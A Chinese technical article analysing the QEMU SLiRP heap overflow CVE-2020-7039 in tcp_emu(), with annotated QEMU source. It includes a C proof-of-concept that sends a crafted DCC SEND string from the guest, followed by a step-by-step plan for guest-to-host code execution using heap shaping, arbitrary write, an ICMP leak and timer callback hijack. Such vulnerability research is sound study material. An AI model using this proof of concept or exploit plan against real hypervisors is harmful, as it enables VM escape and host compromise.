【技术干货】QEMU-CVE-2020-7039

admin 2024年12月17日14:02:00评论9 views字数 40031阅读133分26秒阅读模式

【技术干货】QEMU-CVE-2020-7039

知识前置

Slirp模块

QEMU内部网络分为两部分:

提供给客户的虚拟网络设备(E1000 PCI网卡...).与模拟NIC交互的网络后端(例如,将数据包放入主机的网络).
默认情况下,QEMU将为guest虚拟机创建Slirp用户网络后端和适当的虚拟网络设备(E1000 PCI网卡…) ,QEMU缺省使用"-net nic-net user"参数为客户机配置网络,提供了一种用户模式(user-mode)的网络模拟,Slirp实现了整个TCP/IP协议栈,并且使用这个协议栈提供一个虚拟的NAT网络,主要模拟了网络应用层协议,其中包括IP协议(V4和V6)、DHCP协议、ARP协议等。通过Slirp模块,用户模式的Guest主机可以连通Host主机及外部网络。
【技术干货】QEMU-CVE-2020-7039
当前Guest主机中模拟的网关是 10.0.2.2,ifconfig上对应网卡是没显示的,但是访问网关确实可以访问到Host主机。

下面对Slirp模块中的一小部分代码进行分析:

相关结构体
// slirp/mbuf.hstruct mbuf {    struct  mbuf *m_next;       /* Linked list of mbufs */    struct  mbuf *m_prev;    struct  mbuf *m_nextpkt;    /* Next packet in queue/record */    struct  mbuf *m_prevpkt;    /* Flags aren't used in the output queue */    int m_flags;                /* Misc flags */    int m_size;                 /* Size of mbuf, from m_dat or m_ext */    struct  socket *m_so;    caddr_t m_data;             /* Current location of data */    int m_len;                  /* Amount of data in this mbuf, from m_data */    Slirp *slirp;    bool    resolution_requested;    uint64_t expiration_date;    char   *m_ext;    char    m_dat[];};
  • m_data : 指向当前数据的地址

  • m_dat[]: 若传入的数据包不大,则数据存放在m_dat[]对应的数组中,首次分配mbuf结构体的时候,会将m_dat地址赋值给m_data指针

  • m_ext : 若传入的数据包太大,则会采用动态空间分配的方式存放数据,而申请的动态空间指针交给m_ext指针

  • m_len : 当前保存的数据总大小

  • m_size : 存放当前mbuf结构体大小

  • m_flags: 相关标志位,用于表示结构体相关状态,例如分配了动态空间管理数据,则会存在#define M_EXT 0x01字段

// slirp/ip.hstruct qlink {    void *next, *prev;};struct ipasfrag {    struct qlink ipf_link; // ip fragment double link    struct ip ipf_ip;      // the ip header of fragment};

此结构体,在IP分片函数ip_reass()中使用频繁,其中存在的双向链表结构串起了所有分片。

// slirp/ip.hstruct ipq {    struct qlink frag_link;     /* to ip headers of fragments */    struct qlink ip_link;         /* to other reass headers */    uint8_t ipq_ttl;             /* time for reass q to live */    uint8_t ipq_p;                 /* protocol of this fragment */    uint16_t ipq_id;             /* sequence id for reassembly */    struct in_addr ipq_src, ipq_dst;};

此结构体,在ip_reass()中,用于管理所有的分片相同的属性的主结构,也是所有分片中双向链表的链表头。

Slirp模块中对IPV4数据包的处理
void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len){    struct mbuf *m;    int proto;    if (pkt_len < ETH_HLEN) // 判断大小是否小于`Eth-Frame Header Len`        return;    proto = (((uint16_t)pkt[12]) << 8) + pkt[13]; // 获取`Eth-Frame`中 Type,作为switch的分支条件    switch (proto) {    case ETH_P_ARP:        arp_input(slirp, pkt, pkt_len); // 若为ARP协议,则调用 arp_input 函数,进行处理        break;    case ETH_P_IP:    case ETH_P_IPV6:        m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置        if (!m) return;        /* Note: we add 2 to align the IP header on 4 bytes,         * and add the margin for the tcpiphdr overhead  */        if (M_FREEROOM(m) < pkt_len + TCPIPHDR_DELTA + 2) {            m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间        }        m->m_len = pkt_len + TCPIPHDR_DELTA + 2;        memcpy(m->m_data + TCPIPHDR_DELTA + 2, pkt, pkt_len); // 拷贝传入的数据包到m_data指针处        m->m_data += TCPIPHDR_DELTA + 2 + ETH_HLEN; // 当前m_data指向数据包 Header,不是Eth-Frame Header        m->m_len -= TCPIPHDR_DELTA + 2 + ETH_HLEN;        if (proto == ETH_P_IP) { // IPV4             ip_input(m);        } else if (proto == ETH_P_IPV6) { // IPV6            ip6_input(m);        }        break;    case ETH_P_NCSI:        ncsi_input(slirp, pkt, pkt_len);        break;    default:        break;    }}
假如此时去访问外界网络,比如执行apt-get update,则会向网卡发送数据,当通过网卡将数据封装为以太网帧后,则会在Slirp模块中调用slirp_input()函数对进一步处理。
void ip_input(struct mbuf *m){    Slirp *slirp = m->slirp;    register struct ip *ip;    int hlen;    if (!slirp->in_enabled) {        goto bad;    }    if (m->m_len < sizeof(struct ip)) {        goto bad;    }    ip = mtod(m, struct ip *); // 返回m_data,前面有提到,m_data指向了数据包的Header    if (ip->ip_v != IPVERSION) {        goto bad;    }    hlen = ip->ip_hl << 2; // 左移两位则是IP Header实际大小    if (hlen < sizeof(struct ip) || hlen > m->m_len) { // 检测Header len 是否合法        goto bad; /* or packet too short */    }    if (cksum(m, hlen)) { // 第二次检测 checksum计算结果是否合法        goto bad;    }    NTOHS(ip->ip_len); // 将ip_total_len从网络字节序列转换成主机字节序列    if (ip->ip_len < hlen) { // 检测当前数据包的total len是否合法        goto bad;    }    NTOHS(ip->ip_id);    NTOHS(ip->ip_off);    if (m->m_len < ip->ip_len) { // // 再次检测ip_total_len 和当前数据包对应的mbuf结构体之间是否合法        goto bad;    }    if (m->m_len > ip->ip_len) // 如果m->m_len稍大,则调用m_adj函数对其进行修剪        m_adj(m, ip->ip_len - m->m_len);    /* check ip_ttl for a correct ICMP reply */    if (ip->ip_ttl == 0) {        icmp_send_error(m, ICMP_TIMXCEED, ICMP_TIMXCEED_INTRANS, 0, "ttl");        goto bad;    }    // ip Header中 ip->ip_off最高三位对应FLAGS    // FLAGS: 长度为 3Bit    // 字段中第一位不使用    // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片    // 第三位是MF(More Fragments),MF = 0 指最后一个分片    if (ip->ip_off & ~IP_DF) { //若不存在DF字段,且MF == 1,则进行IP分片分支处理        register struct ipq *fp;        struct qlink *l; // double link        // 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头        for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;             l = l->next) {            fp = container_of(l, struct ipq, ip_link);            if (ip->ip_id == fp->ipq_id &&                ip->ip_src.s_addr == fp->ipq_src.s_addr &&                ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&                ip->ip_p == fp->ipq_p)                goto found;        }        fp = NULL; // if the fragment is first , so set fp == NULL    found:        ip->ip_len -= hlen; // 减去header len,剩下payload长度        if (ip->ip_off & IP_MF) // 若存在IP_MF字段,则 ip_tos 第一位 置1,否则置0            ip->ip_tos |= 1;        else            ip->ip_tos &= ~1;        ip->ip_off <<= 3; // 获取当前分片的偏移        if (ip->ip_tos & 1 || ip->ip_off) { // 存在 IP_MF 或者 分片偏移不为0,则可调用ip_reass函数进行进一步的分片处理            ip = ip_reass(slirp, ip, fp);            if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到                return;            m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针,                                 // 此处获取当前ip指针对应的mbuf结构体        } else if (fp)            ip_freef(slirp, fp);    } else        ip->ip_len -= hlen;    // 以 protocol作为switch的分支条件    switch (ip->ip_p) {    case IPPROTO_TCP:        tcp_input(m, hlen, (struct socket *)NULL, AF_INET);        break;    case IPPROTO_UDP:        udp_input(m, hlen);        break;    case IPPROTO_ICMP:        icmp_input(m, hlen);        break;    default:        m_free(m);    }    return;bad:    m_free(m);}

在slirp_input()函数中,对数据包简单处理,生成了对应的mbuf结构体,又在ip_input()函数中进一步处理,根据相关字段,判断是否分片,而分片函数(ip_reass)则是如下:

static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp){    register struct mbuf *m = dtom(slirp, ip);    register struct ipasfrag *q;    int hlen = ip->ip_hl << 2;    int i, next;    m->m_data += hlen; // m_data 也指向当前payload区域    m->m_len -= hlen;     if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片        struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670        if (t == NULL) {            goto dropfrag;        }        fp = mtod(t, struct ipq *);        insque(&fp->ip_link, &slirp->ipq.ip_link); // 将当前生成的fp指针加入到slirp主结构管理的双向链表,此处用于在ip_input函数中对分片链表头查找有用        fp->ipq_ttl = IPFRAGTTL;        fp->ipq_p = ip->ip_p;        fp->ipq_id = ip->ip_id;        fp->frag_link.next = fp->frag_link.prev = &fp->frag_link; // 对当前链表头初始化指针,其余则是保存ip header相关数据        fp->ipq_src = ip->ip_src;        fp->ipq_dst = ip->ip_dst;        q = (struct ipasfrag *)fp;        goto insert;    }    // 如果传入是第二个往后的分片,则此处遍历fp->frag_link双向链表,寻找与传入的分片相近的分片的结构体指针    for (q = fp->frag_link.next; q != (struct ipasfrag *)&fp->frag_link;         q = q->ipf_next)        if (q->ipf_off > ip->ip_off)            break;    // 如果上述寻找到的结构体不是最后一个分片,则会对当前传人的分片进行修剪    if (q->ipf_prev != &fp->frag_link) {        struct ipasfrag *pq = q->ipf_prev; // 上述寻找到的分片的前一个分片        i = pq->ipf_off + pq->ipf_len - ip->ip_off; // 如果前一个分片 "偏移 + payload_len" > 当前传入的分片的偏移,则当前传入的分片需要向后移动        if (i > 0) {            if (i >= ip->ip_len)                goto dropfrag;            m_adj(dtom(slirp, ip), i);            ip->ip_off += i;            ip->ip_len -= i;        }    }    // 此处是对当上述找到的结构体指针q之后的所有分片进行修剪,为传入的分片中的数据腾出空间    while (q != (struct ipasfrag *)&fp->frag_link &&           ip->ip_off + ip->ip_len > q->ipf_off) {        i = (ip->ip_off + ip->ip_len) - q->ipf_off; // 如果当前传入的分片 "偏移 + payload_len" > 后面一个分片 偏移,则后续的所有分片后移        if (i < q->ipf_len) {            q->ipf_len -= i;            q->ipf_off += i;            m_adj(dtom(slirp, q), i);            break;        }        q = q->ipf_next;        m_free(dtom(slirp, q->ipf_prev));        ip_deq(q->ipf_prev);    }    // 最后,所有的分片的数据不会重叠存放insert:    // 将当前传入的分片关联进双向链表    ip_enq(iptofrag(ip), q->ipf_prev);    next = 0;    // 检测前面的所有分片的payload_len 相加 是否 等于后一个分片的偏移,这里检测了所有的分片偏移不会重叠,长度也不会越界    for (q = fp->frag_link.next; q != (struct ipasfrag *)&fp->frag_link;         q = q->ipf_next) {        if (q->ipf_off != next)            return NULL;        next += q->ipf_len;    }    // 如果当前 存在  MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等    if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)        return NULL;    // 若没有直接返回,即MF 字段为0,表示当前传入的分片是最后一个分片,下面则是将所有的分片拷贝到第一个分片对应的缓冲区中    q = fp->frag_link.next;    m = dtom(slirp, q);    q = (struct ipasfrag *)q->ipf_next;    while (q != (struct ipasfrag *)&fp->frag_link) {        struct mbuf *t = dtom(slirp, q);        q = (struct ipasfrag *)q->ipf_next;        m_cat(m, t); // 剪切后面的分片到第一个分片对应的缓冲区中    }    q = fp->frag_link.next; // 此处 fp->frag_link.next 为第一个分片对应的 "struct ipasfrag"结构体指针    // 如果在m_cat过程中,拷贝的总数据大小超过第一个分片的mbuf结构能存放的极限,则会动态分配新的空间,并更新第一个分片的mbuf.m_ext指针    // 当时 上述的 结构体指针q 还未更新指向新的缓冲区,所以检测到 M_EXT 字段,则重新获取一个指针q,令其指向新申请的缓冲区中    if (m->m_flags & M_EXT) {        int delta = (char *)q - m->m_dat;        q = (struct ipasfrag *)(m->m_ext + delta);    }    ip = fragtoip(q); // "struct ipasfrag",此结构体,前0x10是双向链表指针,后面则是保存的分片的ip_header,返回值为 "q+0x10"    ip->ip_len = next; // next是总数据长度,更新ip_total_len    ip->ip_tos &= ~1;    ip->ip_src = fp->ipq_src;    ip->ip_dst = fp->ipq_dst;    remque(&fp->ip_link);    (void)m_free(dtom(slirp, fp));    m->m_len += (ip->ip_hl << 2);    m->m_data -= (ip->ip_hl << 2);    return ip;dropfrag:    m_free(m);    return NULL;}

上述则是对IP包分片的过程,对传入的分片进行修剪,然后关联进对应的双向链表中进行管理,因为篇幅有限,只选择了Slirp对IPV4数据包的部分处理进行了简单的分析。

对此,Slirp会处理经过网卡处理后的数据,模拟数据包协议类型,进行管理与传输,然后再通过网卡发送给Host主机,通过Host主机访问目标。

漏洞分析与利用

漏洞简介

DescriptionA heap buffer overflow issue was found in the SLiRP networking implementation of the QEMU emulator. This flaw occurs in the tcp_emu() routine while emulating IRC and other protocols. An attacker could use this flaw to crash the QEMU process on the host, resulting in a denial of service or potential execution of arbitrary code with privileges of the QEMU process.
根据RedHat上对CVE的描述可知,当QEMU以 Slirp模块作为网络后端的时候,漏洞位于其中tcp_emu()函数模拟IRC协议的分支,下面我们直接定位到目标代码。
int tcp_emu(struct socket *so, struct mbuf *m){    Slirp *slirp = so->slirp;    unsigned n1, n2, n3, n4, n5, n6;    char buff[257];    uint32_t laddr;    unsigned lport;    char *bptr;    switch (so->so_emu) {        int x, i;        case EMU_IRC:        m_inc(m, m->m_len + 1); // 若 m->m_len + 1 不小于 M_ROOM(m),则会为输入的数据另外申请一段内存存放,并更新 mbuf结构体中的指针        *(m->m_data + m->m_len) = 0; // 末尾置0        if ((bptr = (char *)strstr(m->m_data, "DCC")) == NULL) // 从输入的数据中寻找DCC字符串作为起始指针            return 1;        // buff初始化是一个257字节大小的char数组        // 通过上述寻找的指针后的字符串作为输入,对buff laddr lport 或者 n1 赋值        if (sscanf(bptr, "DCC CHAT %256s %u %u", buff, &laddr, &lport) == 3) {            // 通过数据包中赋值后的laddr 和 lport 监听            if ((so = tcp_listen(slirp, INADDR_ANY, 0, htonl(laddr),                                 htons(lport), SS_FACCEPTONCE)) == NULL) {                return 1;            }            m->m_len = bptr - m->m_data; // 当tcp_listen函数返回通过时,下面则是对原缓冲区中的数据进行更新,另外的两个分支都是类似的            m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%cn",                                 (unsigned long)ntohl(so->so_faddr.s_addr),                                 ntohs(so->so_fport), 1);        } else if (sscanf(bptr, "DCC SEND %256s %u %u %u", buff, &laddr, &lport,                          &n1) == 4) {            if ((so = tcp_listen(slirp, INADDR_ANY, 0, htonl(laddr),                                 htons(lport), SS_FACCEPTONCE)) == NULL) {                return 1;            }            m->m_len = bptr - m->m_data; /* Adjust length */            m->m_len +=                snprintf(bptr, m->m_size, "DCC SEND %s %lu %u %u%cn", buff,                         (unsigned long)ntohl(so->so_faddr.s_addr),                         ntohs(so->so_fport), n1, 1);        } else if (sscanf(bptr, "DCC MOVE %256s %u %u %u", buff, &laddr, &lport,                          &n1) == 4) {            if ((so = tcp_listen(slirp, INADDR_ANY, 0, htonl(laddr),                                 htons(lport), SS_FACCEPTONCE)) == NULL) {                return 1;            }            m->m_len = bptr - m->m_data; /* Adjust length */            m->m_len +=                snprintf(bptr, m->m_size, "DCC MOVE %s %lu %u %u%cn", buff,                         (unsigned long)ntohl(so->so_faddr.s_addr),                         ntohs(so->so_fport), n1, 1);        }        return 1;        ......

漏洞点则是出在更新m->m_len的时候,此时会通过snprintf向原缓冲区中更新数据,而snprintf原型如下,第二个参数size是作为写入的数据最大字节,而漏洞位置的第二个参数则是m->m_size,此处没有对写回的数据长度进行检验,而是直接用了mbuf结构体中m->m_size作为长度限制,而在经过tcp_listen函数后,so->so_faddr.s_addr和so->so_fport都会被设置为不同于输入的整型数值,此处又通过snprintf写入到bptr指针中,若写入的数据超过bptr指针可写的长度,则会发生缓冲区溢出。

       m->m_len += snprintf(bptr, m->m_size, "DCC CHAT chat %lu %u%cn",                             (unsigned long)ntohl(so->so_faddr.s_addr),                             ntohs(so->so_fport), 1);     int snprintf(char * restrict str, size_t size, const char * restrict format, ...);

下面再看看tcp_listen函数

struct socket *tcp_listen(Slirp *slirp, uint32_t haddr, unsigned hport,                          uint32_t laddr, unsigned lport, int flags){    /* TODO: IPv6 */    struct sockaddr_in addr;    struct socket *so;    int s, opt = 1;    socklen_t addrlen = sizeof(addr);    memset(&addr, 0, addrlen);    so = socreate(slirp); // 建立一个sokcet 结构体 so    /* Don't tcp_attach... we don't need so_snd nor so_rcv */    if ((so->so_tcpcb = tcp_newtcpcb(so)) == NULL) { // 初始化 so->so_tcpcb        g_free(so);        return NULL;    }    insque(so, &slirp->tcb); // 将当前的so指针关联进 slirp结构体中的tcb链中    /*     * SS_FACCEPTONCE sockets must time out.     */    if (flags & SS_FACCEPTONCE) // 判断标志字段 并 设置存活时间?        so->so_tcpcb->t_timer[TCPT_KEEP] = TCPTV_KEEP_INIT * 2;      // 对建立的socket结构体赋值相关数据    so->so_state &= SS_PERSISTENT_MASK;    so->so_state |= (SS_FACCEPTCONN | flags);    so->so_lfamily = AF_INET;    so->so_lport = lport; /* Kept in network format */    so->so_laddr.s_addr = laddr; /* Ditto */    // 绑定监听 haddr 和 hport    addr.sin_family = AF_INET;    addr.sin_addr.s_addr = haddr;    addr.sin_port = hport;    if (((s = slirp_socket(AF_INET, SOCK_STREAM, 0)) < 0) ||        (slirp_socket_set_fast_reuse(s) < 0) ||        (bind(s, (struct sockaddr *)&addr, sizeof(addr)) < 0) ||        (listen(s, 1) < 0)) {        int tmperrno = errno; /* Don't clobber the real reason we failed */        if (s >= 0) {            closesocket(s);        }        sofree(so);        /* Restore the real errno */#ifdef _WIN32        WSASetLastError(tmperrno);#else        errno = tmperrno;#endif        return NULL;    }    // 对套接字 s 在SOL_SOCKET级上 设置 SO_OOBINLINE 选项以及在IPPROTO_TCP 级上设置 TCP_NODELAY 选项    setsockopt(s, SOL_SOCKET, SO_OOBINLINE, &opt, sizeof(int));    opt = 1;    setsockopt(s, IPPROTO_TCP, TCP_NODELAY, &opt, sizeof(int));      // 从套接字 s 获取 (struct sockaddr *)&addr 并 赋值 so->so_f* 变量进行赋值    getsockname(s, (struct sockaddr *)&addr, &addrlen);    so->so_ffamily = AF_INET;    so->so_fport = addr.sin_port;    if (addr.sin_addr.s_addr == 0 ||        addr.sin_addr.s_addr == loopback_addr.s_addr)        so->so_faddr = slirp->vhost_addr;    else        so->so_faddr = addr.sin_addr;    so->s = s;    return so;}

经过调试可知,在调用getsocketname()函数的时候,会对addr.sin_port进行赋值,因为传入的hport值为0,所以之前执行bind函数的时候,套接字s的端口是随机生成的一个两字节的值,且此时的addr.sin_addr.s_addr为0,所以在判断addr.sin_addr.s_addr == 0条件的时候,则会进入第一个分支,则上述snprintf函数写回的so->so_faddr.s_addr和so->so_fport两个变量 分别来自so->so_fport = addr.sin_port和so->so_faddr = slirp->vhost_addr ,addr.sin_port是一个两字节的值,经过ntohs转化,在snprintf输出的为十进制字符串的时候,大概率占据5个字节的数据,另外 slirp->vhost_addr始终为0x202000A,若输入的十进制值长度小于写回的十进制值长度,则会导致写回的数据比写入时候的数据更多,因此导致溢出。

POC

#include <stdio.h>#include <stdlib.h>#include <stdbool.h>#include <unistd.h> #include <assert.h>#include <string.h> #include <sys/socket.h>#include <stdint.h>#include <netinet/in.h>#include <arpa/inet.h>void errExit(char *string){    perror(string);    exit(EXIT_FAILURE);}int connect_with(char *ip,uint16_t port){    int fd = socket(AF_INET,SOCK_STREAM, 0);    if(fd < 0){        errExit("Socket");    }    struct sockaddr_in tcp_socket;    tcp_socket.sin_family = AF_INET;    tcp_socket.sin_port = htons(port);    tcp_socket.sin_addr.s_addr = inet_addr(ip);    if (connect(fd, (struct sockaddr *) &tcp_socket, sizeof(struct sockaddr_in)) != 0) errExit("connect");    return fd;}int main(){    char *payload = calloc(1,0x1000);    memset(payload,'F',0x1000);    int fd = connect_with("10.0.2.2",6667);    char s[0x30] = "DCC SEND TEST -1 -1 2333";    memcpy(payload + 0x5B2 - strlen(s) ,s,strlen(s)); // 如果发送的数据 > 0x5B2,则会另外申请空间,在mbuf结构体中的m_ext指针指向申请的空间    write(fd,payload,0x5B2);}

通过gdb attach调试qemu进程,下断点在 slirp/src/tcp_subr.c:765,对当前 mbuf结构体的next chunk header 观察,可以发现在snprintf函数调用后,next chunk header被覆盖了,但是溢出的数据因为是%u和%lu格式化字符串,所以溢出的数据并不能控制为不可见字符串,而再观察snprintf函数的末尾,可以发现snprintf写回的字符串末尾存在一个"x01x0A",做过CTF Heap题的师傅们应该很容易就能想到覆盖unsorted bin chunk的size为0xA01令堆重叠,因此可以实现缓冲区溢出。

漏洞利用

IP Header
【技术干货】QEMU-CVE-2020-7039

上述图为IP Header结构体,其中有Flags是描述当前IP包相关属性的标志字段;字段第一位不使用,字段第二位是DF(Don't Fragment)指明当前IP包是否可以分片,若当前DF字段为1,则当前数据包不可分片;字段第三位字是MF(More Fragments)指明当前是否为分片序列最后一个分片 ,为0则是最后一个分片,当最后一个分片发送出去,则Slirp模块则会对整个IP Packet的分片序列进行重组。

Malloc原语
void ip_input(struct mbuf *m){    ......    // ip Header中 ip->ip_off最高三位对应FLAGS    // FLAGS: 长度为 3Bit    // 字段中第一位不使用    // 第二位是DF(Don't Fragment),若为1,当前数据包不可分片    // 第三位是MF(More Fragments),MF = 0 指最后一个分片    if (ip->ip_off & ~IP_DF) { //若不存在DF字段,且MF == 1,则进行IP分片分支处理        register struct ipq *fp;        struct qlink *l; // double link                // 遍历slirp->ipq.ip_link双向链表,搜寻管理当前数据包具有相同id、源MAC地址和目的MAC地址、protocol的所有分片的双向链表头        for (l = slirp->ipq.ip_link.next; l != &slirp->ipq.ip_link;             l = l->next) {            fp = container_of(l, struct ipq, ip_link);            if (ip->ip_id == fp->ipq_id &&                ip->ip_src.s_addr == fp->ipq_src.s_addr &&                ip->ip_dst.s_addr == fp->ipq_dst.s_addr &&                ip->ip_p == fp->ipq_p)                goto found;        }        fp = NULL; // if the fragment is first , so set fp == NULL    found:        ip->ip_len -= hlen; // 减去header len,剩下payload长度        if (ip->ip_off & IP_MF) // 若存在IP_MF字段,则 ip_tos 第一位 置1,否则置0            ip->ip_tos |= 1;        else            ip->ip_tos &= ~1;        ip->ip_off <<= 3; // 获取当前分片的偏移        if (ip->ip_tos & 1 || ip->ip_off) { // 存在 IP_MF 或者 分片偏移不为0,则可调用ip_reass函数进行进一步的分片处理            ip = ip_reass(slirp, ip, fp);            if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到                return;            m = dtom(slirp, ip); // 若返回不为NULL, 则当前传入的分片应为最后一个分片,返回的ip指针则是第一个分片对应的指针,                                 // 此处获取当前ip指针对应的mbuf结构体        } else if (fp)            ip_freef(slirp, fp);    } else        ip->ip_len -= hlen;......}static struct ip *ip_reass(Slirp *slirp, struct ip *ip, struct ipq *fp){    ......    // 如果当前 存在  MF 字段,则分片未结束,将直接返回,而直接返回的结果则是,许多相关分配的动态空间不会被释放,那么这里则是一个malloc原语,可以用于分配空间,控制堆布局等等    if (((struct ipasfrag *)(q->ipf_prev))->ipf_tos & 1)        return NULL;    ......        }

此处,若发送的IPV4数据包能够分片,即DF字段为0,且MF为1,则表示当前的IP包是可以进行分片的,分片函数则是ip_reass()。

            ip = ip_reass(slirp, ip, fp);            if (ip == NULL) // 若返回NULL,则直接return,此处后续漏洞利用有用到                return;

若ip_reass函数返回值为NULL,则直接返回,表示分片未结束,而直接返回的结果则是相关申请的动态空间不会释放,当前分片数据包进入ip_input()函数之前,在slirp_input()会为其分配一个struct mbuf结构体,此结构体是没有被释放的,大小为0x670大小的chunk,且若此时为第一个分片。

    if (fp == NULL) { // fp作为所有分片的链表头,若为NULL,则表示当前分片是第一个分片        struct mbuf *t = m_get(slirp); // 申请分配一个mbuf结构体,大小0x670

当进入分片函数ip_reass()时,fp == NULL条件下,又会为其分配一个struct mbuf结构体用于管理分片的相关数据,同样为0x670大小的chunk,此结构体也是没有被释放的,所以这里能够当作是一个malloc原语使用,但是这些申请的大小又都是固定的,想要准确的控制堆布局,还需要可以控制动态空间申请的大小。

void slirp_input(Slirp *slirp, const uint8_t *pkt, int pkt_len){......    case ETH_P_IP:    case ETH_P_IPV6:        m = m_get(slirp); // 申请空间分配一个mbuf结构体,并对slirp中相关联的值进行设置        if (!m) return;        /* Note: we add 2 to align the IP header on 4 bytes,         * and add the margin for the tcpiphdr overhead  */        if (M_FREEROOM(m) < pkt_len + TCPIPHDR_DELTA + 2) {            m_inc(m, pkt_len + TCPIPHDR_DELTA + 2); // 若传入的数据包太大,超过0x608则会动态分配空间        }

又来到slirp_input()函数处,此时可以明确的知道,若处理的数据包数据大于M_FREEROOM(m) - TCPIPHDR_DELTA + 2,则会调用m_inc进行动态空间的分配,而此时的申请的动态空间可由我们的数据包的大小来控制,如果处于分片未结束状态,那么这段内存同样是不会被释放的,可以用它来进一步控制堆布局。

构造任意写
            +------------+            |            |            | 1st packet |            |            |            +------------+             |            |            | 2nd packet |            |            |            +------------+             |            |            |   target   |            |            |              +------------+            |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放            +------------+

通过堆喷清空了各种零零散散的堆块后,下面进行布局,首先在target之前需要构造一个unsorted bin chunk,为了后续对所有的包进行管理,所以上述发送的所有包,都是处于第一个分片状态的,而当每一个包发送的时候,除了会申请空间作为mbuf结构体外,在ip_reass中同样会申请一个0x670大小的chunk储存分片相关数据,所以 1st packet 和 2nd packet都占据 0x670 * 2大小的空间,此处发送 一个 MF = 0的分片完成2nd packet的IP包重组,那么则会释放2nd packet堆块得到一个0xCE0大小的堆块。

            +------------+            |            |            | 1st packet |            |            |            +------------+             | socket mbuf|            +------------+             |  ub chunk  | <- unsorted bin chunk,socket mbuf切割后剩下0x670大小的空闲空间            +------------+             |            |            |   target   |            |            |              +------------+            |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放            +------------+

此时建立一个套接字,然后写入构造的payload到该套接字描述符中,则会先分配一个mbuf结构体用于管理此时的数据,则会切割0xCE0的unsorted bin chunk,并剩下一个0x670 大小 chunk 继续留在unsorted bin 中,通过漏洞点的snprintf即可修改此时的unsorted bin chunk header;但是仅仅修改是会触发ptmalloc的check机制的,而0xA00 < 0xCE0,所以修改size后的unsorted bin chunk的next chunk是位于target 的 m_dat数组中,那么可以在最开始申请target mbuf结构体的时候,在发送的数据中构造一个fake chunk header即可。

        +------------+        |            |        | 1st packet |        |            |        +------------+ <- start        |  ub chunk  | <- unsorted bin chunk,0xA00 + 0x670 大小        +------------+         |            |        |   target   | <- ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体        |            |          +------------+        |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放        +------------+

当写入一次数据后,当前的socket mbuf结构体会被释放,与0xA00的unsorted bin chunk合并,此时unsorted bin chunk中会覆盖到target 的mbuf 结构体,而其中的m_data指针是我们想要控制的,但是直接申请0xA00大小的空间来进行修改,不能精确控制只修改m_data指针,所以此处我们再将1st packet所在的包释放,则此时unsorted bin chunk大小为0xA00 + 0x670 + 0x670*2。

    +------------+ <- start    |            |    |  ub chunk  | <- unsorted bin chunk,0xA00 + 0x670 + 0x670 * 2大小    |            |    +------------+     |            |    |   target   | <- ending of unsorted bin chunk;因此unsorted bin chunk包括了target mbuf结构体    |            |      +------------+    |    padding | // 防止与 top chunk合并,虽然此处target 并没有被释放    +------------+

此时发送一个MF = 1、DF = 0的分片,写入数据包payload大小(0xA00 - 0x50),一共会切割unsorted bin chunk为四个部分,第一个部分0x670大小的chunk用于mbuf结构体,第二个0xA00大小的chunk用于数据包,第三个0x670大小的chunk用于ip_reass()函数中保存分片数据,最后剩下一个0x670大小的chunk,剩下的这个chunk则是覆盖了target mbuf的chunk,此时我们再发送一次另外的数据包用于劫持target mbuf结构体,而当前分片会申请unsorted bin chunk剩余的0x670大小的chunk作为管理分片的mbuf结构体,此时发送的数据会存放在m_dat数组中,因此可以对target mbuf结构体中m_data指针进行修改,之后则是继续向target 发送后续分片完成IP包重组,即可实现任意写的功能。

信息泄漏
信息泄漏的方法其实很简单,如果有复现过CVE-2019-6778 和 CVE-2019-14378的话,可以轻易实现。
根据CVE-2019-6778的泄漏思路,相关步骤如下
1、首先通过缓冲区溢出步骤,将m_data指针的低三位修改为0x000B00,然后修改后的地址中写入一个伪造的ICMP Header
2、设置target的数据包协议类型为ICMP,MF = 1、DF = 0并发送第一个分片,且发送数据长度足够,让它对应的mbuf结构体中m_len较大,此时IP包未完成重组
3、此时通过缓冲区修改上述target的m_data指针指向伪造的ICMP包的结束位置
4、完成target的IP重组,则结束ICMP请求,在发送最后一个分片之前建立一个套接字用于接收响应应答包
5、处理响应应答包中的数据,并获取程序基址和堆地址
程序流劫持

在QEMU程序中,存在一个数组main_loop_tlg,其是用于保存的struct QEMUTimerList结构体指针的数组。

// util/qemu-timer.cstruct QEMUTimerList {    QEMUClock *clock;    QemuMutex active_timers_lock;    QEMUTimer *active_timers;    QLIST_ENTRY(QEMUTimerList) list;    QEMUTimerListNotifyCB *notify_cb;    void *notify_opaque;    /* lightweight method to mark the end of timerlist's running */    QemuEvent timers_done_ev;};// include/qemu/timer.htypedef void QEMUTimerCB(void *opaque);struct QEMUTimer {    int64_t expire_time;        /* in nanoseconds */    QEMUTimerList *timer_list;    QEMUTimerCB *cb;    void *opaque;    QEMUTimer *next;    int attributes;    int scale;};

其中active_timers指针是一个QEMUTimer的结构体指针,而QEMUTimer结构体中存在一个函数指针QEMUTimerCB *cb,而调用该函数指针时,传入的第一个参数是void *opaque,因此可以控制参数。

